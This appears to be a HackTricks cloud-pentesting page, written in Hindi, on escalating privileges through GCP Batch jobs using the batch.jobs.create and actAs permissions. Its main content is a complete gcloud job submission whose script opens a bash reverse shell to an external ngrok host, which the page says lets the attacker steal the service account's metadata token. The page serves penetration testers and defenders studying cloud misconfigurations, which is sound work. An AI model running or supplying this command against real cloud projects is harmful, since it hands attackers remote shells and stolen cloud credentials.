GCP - Batch Privesc

Support HackTricks

Batch

मूल जानकारी:

GCP - Batch Enum

batch.jobs.create, iam.serviceAccounts.actAs

एक बैच जॉब बनाना, एक रिवर्स शेल प्राप्त करना और SA (डिफ़ॉल्ट रूप से कंप्यूट SA) के मेटाडेटा टोकन को एक्सफिल्ट्रेट करना संभव है।

gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
"taskGroups": [
{
"taskCount": "1",
"parallelism": "1",
"taskSpec": {
"computeResource": {
"cpuMilli": "1000",
"memoryMib": "512"
},
"runnables": [
{
"script": {
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
}
}
],
"volumes": []
}
}
],
"allocationPolicy": {
"instances": [
{
"policy": {
"provisioningModel": "STANDARD",
"machineType": "e2-micro"
}
}
]
},
"logsPolicy": {
"destination": "CLOUD_LOGGING"
}
}
EOD
Support HackTricks

Last updated